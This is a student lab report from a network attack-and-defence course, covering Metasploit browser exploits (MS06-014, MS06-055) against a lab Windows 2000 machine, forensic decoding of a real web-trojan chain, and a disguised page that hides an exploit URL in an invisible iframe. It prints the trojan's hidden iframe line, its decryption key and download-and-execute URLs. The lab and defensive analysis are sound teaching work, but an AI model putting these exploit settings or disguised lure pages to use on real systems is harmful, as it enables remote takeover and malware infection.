20253921 2025-2026-2 《网络攻防实践》第十一周作业
20253921 2025-2026-2 《网络攻防实践》第十一周作业
1. 实践内容
1.1 Web 浏览器渗透攻击
本部分主要实践了利用浏览器端漏洞进行渗透攻击的基本过程。实验中使用攻击机搭建恶意页面服务,并在 Windows 靶机中通过 Internet Explorer 访问对应页面,观察浏览器访问恶意页面后触发漏洞并建立远程会话的过程。
其原理是浏览器或其相关组件存在安全漏洞时,攻击者可以构造特定网页内容,使目标浏览器在解析页面时执行异常代码,从而触发漏洞并加载远程连接载荷。通过实验可以直观理解浏览器漏洞、网页木马、Payload 和远程 Shell 会话之间的关系。
1.2 网页木马取证分析
本部分主要对网页木马攻击场景进行了分析。实验中从 start.html 入手,逐步查找其引用的网页或脚本文件,并对发现的 URL 进行 MD5 计算,再根据散列值下载对应文件。之后继续对脚本中的混淆代码进行解码和分析,逐步还原网页木马的真实执行逻辑。
其原理是网页木马通常不会直接暴露真实攻击代码,而是通过 iframe 隐藏加载、编码混淆、脚本跳转和多阶段下载等方式隐藏攻击链。通过对脚本内容进行解码、还原和静态分析,可以判断其加载了哪些后续文件,以及这些文件在攻击流程中的作用。
1.3 Web 浏览器渗透攻防对抗
本部分主要实践了攻击方构造浏览器漏洞利用页面,以及防守方对挂马链接进行分析的过程。攻击方利用不同浏览器漏洞模块生成测试页面,并通过伪装方式组合成诱导访问链接;防守方则通过查看源码、解码隐藏内容、抓包分析和跟踪 TCP 流等方式,对可疑链接进行还原分析。
其原理是攻击方会利用社会工程学和代码混淆隐藏真实攻击地址,而防守方需要从页面源码、网络请求、HTTP 响应内容和二进制载荷特征等方面进行综合判断。通过该部分实验,可以理解浏览器攻击链的构造方式,也掌握了从防守角度识别和分析恶意网页的基本方法。
2.实验过程
2.1 web浏览器渗透攻击
先在 Windows 2000 靶机 中打开命令行,使用 ipconfig 查看网络配置。可以看到靶机 IP 地址为 192.168.200.66,默认网关为 192.168.200.1,说明靶机网络配置正常。
然后在 Kali 攻击机 中使用 ifconfig 查看本机地址,攻击机 IP 为 192.168.200.65。接着使用 ping 192.168.200.66 测试与靶机的连通性,能够收到正常响应,说明攻击机和靶机之间可以正常通信。
确认网络连通后,在 Kali 中启动 msfconsole,进入 Metasploit。根据实验要求搜索 search MS06-014,找到并使用 use exploit/windows/browser/ie_createobject 模块。该模块针对的是 Internet Explorer COM CreateObject 代码执行漏洞,通过构造恶意网页,使靶机浏览器访问后触发漏洞。
进入模块后,使用 show options 查看需要配置的参数。实验中主要关注 SRVHOST、SRVPORT、LHOST 和 LPORT 等参数,其中 LHOST 设置为攻击机 IP 地址 192.168.200.65,用于接收后续连接。
随后设置 payload 为 windows/shell/bind_tcp,该 payload 用于在靶机上建立远程 Shell 连接。配置完成后运行 exploit,运行run,Metasploit 生成了一个恶意网页地址 http://192.168.200.65:8080/qHOgytFQavH,表示网页木马脚本已经生成并开始监听。
接着在 Windows 2000 靶机中打开 Internet Explorer,访问 Metasploit 生成的 URL。靶机浏览器访问页面后,Kali 端显示正在发送 exploit HTML 和 EXE payload,说明靶机已经访问到构造好的恶意网页。
最后在 Metasploit 中可以看到 Command shell session 1 opened,说明渗透攻击成功并建立了远程会话。使用 sessions -i 1 进入会话后,在远程 Shell 中执行 ipconfig,返回结果显示目标主机 IP 为 192.168.200.66,与靶机信息一致,证明攻击机已经能够在靶机上远程执行命令。
2.2 取证分析实践—网页木马攻击场景分析
2.2.1 首先你应该访问start.html,在这个文件中给出了new09.htm的地址
首先在学习通下载并打开本次取证分析提供的 start.html 文件,并使用 Notepad++ 查看网页源代码。在代码中搜索 new09,可以发现页面中通过隐藏引用的方式加载了 new09.htm 文件。从代码可以看到,start.html 中存在如下关键内容:urlresult="new09.htm";
结合参考资料中的分析结果可以判断,new09.htm 与 start.html 位于同一目录下,、从学习通下载网页挂马分析实践参考(上).pdf,文件中可以找到对应的补全 new09.htm 的实际内容。
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
2.2.2 对解密出的文件地址进行 MD5 散列并下载对应文件
在分析 new09.htm 后,发现其中继续引用了两个外部文件地址,分别是 http://aa.18dd.net/aa/kl.htm 和 http://js.users.51.la/1299644.js。根据实验要求,需要先对这两个地址分别进行 32 位 MD5 散列计算,并使用得到的 小写 MD5 值 作为文件名,到 hashed 目录中查找或下载对应文件。
首先对 http://aa.18dd.net/aa/kl.htm 进行 MD5 计算,得到小写 32 位散列值为:7f60672dcd6b5e90b6772545ee219bd3
然后对 http://js.users.51.la/1299644.js 进行 MD5 计算,得到小写 32 位散列值为:23180a42a2ff1192150231b44ffdf3d3
实验给出的网站打不开,加上后缀也不行,所以在学习通直接下载,接着将下载的实验文件放在虚拟机中,打开 hashed 文件夹,可以看到存在多个以 MD5 值命名的文件。根据前面计算出的两个散列值,找到并选中对应的两个文件:
7f60672dcd6b5e90b6772545ee219bd3
23180a42a2ff1192150231b44ffdf3d3
随后分别打开这两个文件进行查看。通过分析发现,23180a42a2ff1192150231b44ffdf3d3 文件内容提示其为流量统计代码,不是木马文件,因此不作为重点分析对象。
另一个文件 7f60672dcd6b5e90b6772545ee219bd3 中包含大量经过混淆处理的 JavaScript 代码。通过观察代码中的函数名和整体结构,可以看到其中出现了 base64decode() 和 xxtea_decrypt() 等函数,说明该脚本很可能使用了 Base64 编码 与 XXTEA 解密算法 对主要内容进行了隐藏。由此可以判断,该文件不是普通统计代码,而是后续网页木马分析中的重点可疑脚本文件。
2.2.3 继续解密网页或脚本文件
在打开 7f60672dcd6b5e90b6772545ee219bd3 文件后,发现其中包含大量经过混淆处理的 JavaScript 代码。通过查看脚本末尾内容,发现关键语句:t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
由此可以判断,该脚本先对变量 t 进行 Base64 解码,再使用 XXTEA 算法解密。其中 \x73\x63\x72\x69\x70\x74 是加密密钥的十六进制表示。随后使用在线工具对 \x73\x63\x72\x69\x70\x74 进行十六进制字符串转换,得到密钥为:script
得到密钥后,将 7f60672dcd6b5e90b6772545ee219bd3 文件中的主要加密内容复制到解密工具中,先进行 Base64 解码,再使用 XXTEA 解密,密钥填写为 script。解密后得到的内容仍包含大量十六进制转义字符,因此继续进行 十六进制转字符串 处理,最终还原出可读的 JavaScript 代码。
通过对还原后的代码进行分析,可以看到脚本会判断浏览器环境,并尝试创建多个 ActiveX 对象,例如 Adodb.Stream、MPS.StormPlayer、POWERPLAYER.PowerPlayerCtrl.1、BaiduBar.Tool 等。如果检测到目标环境满足条件,脚本会继续加载其他 .js、.cab 或 .exe 文件。由此可以判断,该脚本不是普通页面代码,而是网页木马攻击链中的关键中间脚本,需要继续根据解密出的文件地址进行后续分析。
2.2.4 如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试
在继续分析解密后的脚本内容时,可以看到脚本会根据不同的浏览器控件检测结果,跳转或下载不同的后续文件。前几个地址主要是 二阶段脚本文件,需要继续解密分析;而 http://down.18dd.net/bb/bd.cab 属于 二进制载荷相关文件,需要进一步进行静态反汇编或动态调试。
| 序号 | URL | 用途判断 | URL字符串MD5 | 对应分析 |
|---|---|---|---|---|
| 1 | http://aa.18dd.net/aa/1.js |
ADODB.Stream / ActiveX 相关二阶段脚本 |
5d7e9058a857aa2abee820d5473c5fa4 |
该地址由脚本在检测到相关控件可用后加载,主要用于继续引导后续攻击流程。 |
| 2 | http://aa.18dd.net/aa/b.js |
StormPlayer 控件相关二阶段脚本 |
3870c28cc279d457746b3796a262f166 |
该脚本与暴风影音相关控件检测结果对应,属于按环境选择加载的脚本分支。 |
| 3 | http://aa.18dd.net/aa/pps.js |
PPS / PowerPlayer 控件相关二阶段脚本 |
5f0b8bf0385314dbe0e5ec956abedc2 |
该脚本与 PPS 播放器相关控件有关,用于继续执行对应控件利用逻辑。 |
| 4 | http://down.18dd.net/bb/bd.cab |
CAB / EXE 二进制载荷相关文件 |
1c1d7b3539a617517c49eee4120783b2 |
该地址指向二进制载荷相关文件,是后续需要重点分析的对象,可进一步查看其文件结构、释放内容和可执行行为。 |
对于 bd.cab 这类二进制文件,仅查看脚本文本已经不能完全判断其功能,因此需要结合 静态分析 和 动态调试。静态分析时,可以先查看文件类型、内部是否包含可执行文件、是否存在可疑字符串、导入函数以及可能的网络或文件操作特征。接下来就继续分析这四个文件。
2.2.5 重复以上过程直到这些文件被全部分析完成
(1)1.js文件分析
在前面的分析中,根据解密出的跳转地址,确定需要继续分析的脚本文件为 http://aa.18dd.net/aa/1.js。对该 URL 进行 MD5 计算后,得到对应的哈希文件名为 5d7e9058a857aa2abee820d5473c5fa4,随后在 hashed 文件夹中找到该文件并使用记事本打开。
接着将文件中的十六进制转义内容复制到解码工具中,使用“十六进制转字符串”功能进行转换。转换完成后,原本难以阅读的混淆内容被还原成较为清晰的 JavaScript 代码,可以进一步分析其具体功能。
根据还原后的代码内容可以看出,1.js 的主要作用是下载并执行远程程序。脚本中设置了远程下载地址 http://down.18dd.net/bb/014.exe,并尝试通过浏览器中的相关 ActiveX 组件请求该文件内容。
下载完成后,脚本会将获取到的内容保存到本地文件中,文件名为 ntuser.com,随后再通过系统命令调用该文件执行。由此可以判断,该脚本并不是最终的木马主体,而是一个下载执行脚本,主要负责将远程二进制程序下载到本地并运行。
(2)b.js文件分析
在分析前一层脚本时发现,页面会根据浏览器环境继续加载 b.js 文件。根据前面得到的 URL 字符串,对其进行 MD5 计算后,找到对应的哈希文件:3870c28cc279d457746b3796a262f166
随后将混淆代码放入解混淆工具中进行还原,得到较为清晰的脚本内容。解密后的代码中可以看到 bigblock、shellcode、memory 等变量,说明该脚本使用了堆喷射技术,将 shellcode 大量填充到内存中,提高漏洞触发后跳转到恶意代码的成功率。
进一步分析解密后的代码,发现其中包含针对播放器 ActiveX 控件的调用逻辑,结合前一层脚本中的判断条件,可以推测该文件主要针对暴风影音相关控件进行漏洞利用。脚本会构造特定数据并调用相关函数,从而触发漏洞执行内存中的 shellcode。
为了进一步确认 shellcode 的功能,将脚本中的 %uXXXX 形式数据提取出来并转换为二进制文件进行分析。
提取结果显示 shellcode 长度约为 382 bytes,其中可见多个关键字符串:
| 关键字符串 | 含义 |
|---|---|
GetProcAddress |
获取系统函数地址 |
LoadLibraryA |
加载动态链接库 |
URLDownloadToFileA |
从网络下载文件 |
WinExec |
执行下载后的程序 |
ExitThread |
结束线程 |
http://down.18dd.net/bb/bf.exe |
后续下载的可执行文件地址 |
由此可以判断,b.js 文件的主要作用是利用浏览器中的 ActiveX 控件漏洞执行 shellcode,并通过 shellcode 下载 bf.exe 文件后运行。该文件不是最终木马程序,而是网页挂马过程中的漏洞触发与载荷下载脚本。
(3)pps.js文件分析
根据前面解密出的脚本地址,继续定位到 pps.js 文件。对该 URL 进行 MD5 计算后,在 hashed 文件夹中找到对应文件并打开分析:5f0b8bf0385314dbe0e5ec956eabedc2
打开文件后,发现其中包含大量转义字符和混淆代码,不能直接阅读。随后使用工具对脚本内容进行转换和还原,提取出其中的主要 JavaScript 逻辑。
还原后的代码中可以看到,脚本会创建 PPS / PowerPlayer 相关的 ActiveX 控件对象,并设置对应的 classid。同时,代码中包含 shellcode、bigblock、memory、buffer 等内容,说明该脚本通过堆喷射的方式,将 shellcode 布置到内存中,为后续漏洞触发做准备。
为了进一步判断 shellcode 的作用,我将其中的 %uXXXX 数据提取出来,转换为二进制文件后进行字符串分析。分析结果中出现了多个关键函数和下载地址。
| 关键内容 | 分析说明 |
|---|---|
GetProcAddress |
获取系统函数地址 |
LoadLibraryA |
加载系统动态链接库 |
URLDownloadToFileA |
从远程地址下载文件 |
WinExec |
执行下载后的程序 |
ExitThread |
结束当前线程 |
http://down.18dd.net/bb/pps.exe |
最终下载的可执行文件地址 |
通过以上分析可以判断,pps.js 主要针对 PPS / PowerPlayer 相关 ActiveX 控件漏洞。该脚本的作用是利用浏览器加载恶意脚本,在内存中布置 shellcode,并在漏洞触发后下载和执行 pps.exe 文件。因此,pps.js 属于网页木马攻击链中的漏洞利用和木马下载阶段。
(4)bd.cab文件分析
根据前面脚本分析得到的下载地址,继续对 http://down.18dd.net/bb/bd.cab 进行分析。对该 URL 计算 MD5 后,对应的文件名为 1c1d7b3539a617517c49eee4120783b2。
打开该文件后,最前面可以看到 MSCF 标识,说明该文件是一个 Windows CAB 压缩包,而不是普通的脚本文件。随后将其作为压缩文件打开,发现其中包含一个 bd.exe 文件。
接着使用 IDA 对提取出的 bd.exe 进行静态分析。从字符串窗口可以看到,该程序内部存在大量不可读或乱码字符串,缺少明显的普通文本信息,说明该程序可能经过压缩、混淆或加壳处理。
结合前面脚本逻辑可知,bd.cab 是通过 BaiduBar.Tool 控件相关代码下载的文件,里面的 bd.exe 很可能是攻击链最后阶段执行的程序。它的作用不是继续解密网页脚本,而是作为二进制载荷被下载到本地并运行。
2.3 攻防对抗实践—web浏览器渗透攻击攻防
2.3.1 攻击方
(1)漏洞MS06-055攻击
本次攻击方选择使用 Metasploit 中的 ms06_055_vml_method 模块进行浏览器渗透测试。该漏洞主要针对 Windows 平台下 Internet Explorer 浏览器的 VML 组件,攻击机通过构造恶意网页,使靶机浏览器访问后触发漏洞,从而建立远程 Shell 会话。
先在 Metasploit 中清理之前遗留的任务和会话,避免旧的连接影响本次测试。随后加载 MS06-055 相关模块,并设置监听地址、端口以及网页路径,将服务端口设置为 8081,访问路径设置为 /ms06055。
接着设置远程连接载荷为 windows/shell/reverse_tcp,并配置攻击机地址为 192.168.200.65,监听端口为 4455。完成参数配置后运行模块,Metasploit 成功生成恶意网页地址:http://192.168.200.65:8081/ms06055
随后在 Windows 2000 靶机中使用 Internet Explorer 访问该地址。访问过程中,靶机浏览器加载恶意页面,攻击机端显示正在向 192.168.200.66 发送 MS06-055 攻击代码,并成功触发漏洞。
最后在 Metasploit 中查看会话列表,可以看到已经建立了一个 shell x86/windows 会话。进入该会话后,终端返回 Windows 2000 的命令行环境,说明攻击方已经成功获得靶机的远程 Shell 控制权限,本次 MS06-055 浏览器渗透攻击实验完成。
(2)漏洞 MS06-014 攻击
在完成 MS06-055 漏洞测试后,先在 Metasploit 中清理之前遗留的任务和会话,避免旧连接影响本次实验结果。
随后选择使用 exploit/windows/browser/ie_createobject 模块,该模块对应 MS06-014 漏洞,主要利用 Internet Explorer 中 CreateObject 相关组件的安全缺陷。接着设置远程连接载荷为 windows/shell/reverse_tcp,并配置攻击机地址、监听端口和 URL 路径。本次生成的恶意网页地址为:http://192.168.200.65:8082/ms06014
在 Windows 2000 靶机中打开 Internet Explorer,并访问上述地址。访问后,Metasploit 显示成功向目标发送攻击页面和 Payload,并建立了新的远程 Shell 会话。
最后通过 sessions -l 查看当前会话,并使用 sessions -i 2 进入目标主机的远程 Shell。执行 ipconfig 命令后,可以看到靶机 IP 地址为 192.168.200.66,说明 MS06-014 浏览器渗透攻击成功。
(3)挂马页面混淆与搭建
在完成两个浏览器漏洞攻击地址构造后,进一步对生成的恶意 URL 进行简单混淆处理。实验中先将 MS06-014 对应的访问地址进行 Base64 编码,得到一段不易直接识别的字符串,用于隐藏真实访问路径。
随后在 Kali 攻击机中启动 Apache 服务,并查看服务状态,确认 apache2 已处于 active running 状态,说明本地 Web 服务可以正常对外提供页面访问。
接着在 /var/www/html/ 目录下新建 fish 文件夹,并创建 index.html 页面。该页面中写入简单的浏览器兼容性测试内容,同时加入 JavaScript 解码逻辑,将前面 Base64 编码后的地址还原,并通过隐藏 iframe 的方式自动加载目标页面。
通过这种方式,原始攻击链接被封装到一个看似普通的网页中,访问者打开该页面时不会直接看到真实 URL,但浏览器会在后台自动请求被隐藏的漏洞测试页面,从而完成挂马页面的构造。
(4)靶机受害者访问与流量验证
在完成挂马页面搭建后,进入 Windows 2000 靶机环境,对 Internet Explorer 的安全选项进行调整,允许相关 ActiveX 控件运行,保证实验页面中的测试内容能够被浏览器正常加载。
随后在靶机浏览器中访问攻击机 Apache 服务中的伪装页面:http://192.168.200.65/fish/index.html。页面显示为“浏览器兼容性测试页面”,表面上只是普通的资源加载页面,但其内部通过脚本自动解码并隐藏加载前面构造好的漏洞测试地址。
同时在 Kali 攻击机上使用 Wireshark 进行抓包,并使用 http 过滤器观察访问过程。抓包结果中可以看到靶机向攻击机发起了对 /ms06014 等路径的 HTTP 请求,说明隐藏页面中的 iframe 已经成功触发了对应的漏洞测试页面加载。
最后回到 Metasploit 查看运行状态,可以看到目标主机访问页面后触发了漏洞模块,并成功建立了新的 shell 会话。通过会话执行 ipconfig 命令,可以确认当前远程控制的主机 IP 为 192.168.200.66,说明本次浏览器端渗透攻击过程验证成功。
2.3.2 防守方
防守方在收到可疑链接后,从页面源码和网络流量两个角度进行分析。通过查看伪装页面 index.html,可以发现页面表面显示为“浏览器兼容性测试页面”,但源码中存在一段 Base64 编码字符串,并通过 JavaScript 解码后动态写入隐藏的 iframe,说明该页面并不是普通测试页面,而是用于隐藏加载真实攻击页面的中转页面。
随后对页面中的 Base64 内容进行解码,可以还原出被隐藏加载的真实 URL。结合浏览器访问结果和 Wireshark 抓包结果,发现靶机在访问 fish/index.html 后,又继续向攻击机请求 /ms06014 相关路径,说明该页面实际触发了 MS06-014 对应的浏览器漏洞页面。
在 Wireshark 中使用 http 和 tcp 过滤流量,可以观察到靶机 192.168.200.66 与攻击机 192.168.200.65 之间发生了多次 HTTP 通信。通过跟踪 TCP 流可以看到请求头中包含 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0),说明受害端使用的是 Windows 2000 环境下的 Internet Explorer 浏览器。
继续分析响应数据时,可以看到服务器返回内容中出现了脚本片段以及后续的二进制响应。二进制数据中包含典型的 MZ 文件头,并出现 “This program cannot be run in DOS mode” 等 PE 文件特征,说明该流量中包含 Windows 可执行载荷文件。由此可以判断,攻击页面在触发浏览器漏洞后,会继续向靶机下发可执行载荷,用于建立后续远程连接。
| 分析对象 | 发现内容 | 判断结果 |
|---|---|---|
fish/index.html |
页面中存在 Base64 编码字符串,并通过 JavaScript 写入隐藏 iframe | 伪装页面,负责隐藏加载真实攻击地址 |
| 解码后的 URL | 指向 /ms06014 相关路径 |
实际触发 MS06-014 漏洞页面 |
| HTTP 请求头 | MSIE 5.01; Windows NT 5.0 |
目标为旧版本 IE 浏览器环境 |
| TCP 流响应内容 | 出现 <script>、payload 请求以及 MZ 文件头 |
存在脚本攻击代码与 Windows 可执行载荷 |
| 攻击类型 | 浏览器访问页面后自动触发漏洞并下载载荷 | Web 浏览器渗透攻击 |
防守方通过源码分析、Base64 解码、Wireshark 流量跟踪和二进制特征识别,能够还原出该挂马链接的基本攻击过程。该链接并非普通网页,而是先通过伪装页面隐藏真实攻击地址,再利用 Internet Explorer 相关漏洞加载恶意脚本和载荷,最终尝试在靶机上建立远程控制会话。
3.学习中遇到的问题及解决
- 问题1:在开始实验时查看我的kali的ip,但是发现我的ip不见了。
-
问题1解决方案:最后发现是我的eth0处于unmanaged 状态,使用命令
sudo sed -i 's/managed=false/managed=true/g' /etc/NetworkManager/NetworkManager.conf,重新启动即可重新获取ip。 -
问题2:在分析完XXTEA解密密钥之后,开始进行Base64解码和XXTEA解码,但是发现无法使用给定的密钥进行解密,密钥没问题。
- 问题2解决方案:这里是输入弄错了,直接把所有内容放进输入框里只放 t="..." 双引号里面的 Base64 密文。不要复制前面的:t=",也不要复制最后的:";
4.学习感悟、思考
通过本次实验,我对 Web 浏览器渗透攻击的基本流程有了更直观的认识。实验中从漏洞模块选择、Payload 配置、恶意页面生成,到靶机访问页面并建立远程会话,完整体现了浏览器漏洞被利用的过程,也让我理解了浏览器安全更新和插件安全配置的重要性。
在网页木马分析过程中,我认识到恶意代码通常会通过多层跳转、编码和混淆来隐藏真实目的。通过逐步解码、分析脚本逻辑和抓包观察网络请求,可以更清楚地还原攻击链。以后在实际防护中,应重视可疑链接分析、浏览器补丁更新和网络流量监测,减少此类攻击带来的风险。

浙公网安备 33010602011771号